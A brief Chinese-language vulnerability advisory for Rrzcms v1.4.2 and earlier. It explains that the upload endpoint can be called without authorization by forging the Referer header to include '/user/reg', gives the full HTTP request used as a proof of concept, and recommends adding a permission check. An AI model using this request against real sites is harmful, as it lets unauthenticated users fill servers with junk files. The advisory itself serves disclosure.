系统名称及影响版本

Rrzcms <= v1.4.2

漏洞接口:

  1. POST /index.php/upload/index.html?type=images HTTP/1.1
  2. Host: test.localhost.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. X-Requested-With: XMLHttpRequest
  7. Content-Type: multipart/form-data; boundary=---------------------------375316786031623716504008618503
  8. Content-Length: 1016
  9. Origin: http://test.localhost.com
  10. Connection: close
  11. Referer: http://test.localhost.com/index.php/user/reg
  12. -----------------------------375316786031623716504008618503
  13. Content-Disposition: form-data; name="file"; filename="888.png"
  14. Content-Type: image/png

漏洞分析及复现:

  1. 漏洞源码位置/app/home/controller/Upload.php 的第26行,如下图
    图片1.png
    2. 如上图代码,是直接判断HTTP_REFERER中是否包含Host及/user/reg字符串,如果包含则不需要权限可直接调用上传接口,如果不包含则需要权限才能调用上传接口。这里可以借助这种方式无需权限调用上传接口,批量上传无用文件侵占服务器存储空间。漏洞复现如下:直接在Referer中填入内容 http://test.localhost.com/index.php/user/reg
    图片2.png
    3. 如上图所示,上传图片成功。正常应该是需要权限才能上传,无权限会上传失败,如下图:
    图片3.png

    漏洞修复建议:

    上传功能需添加权限使用,避免造成大量无用文件上传侵占服务器存储空间。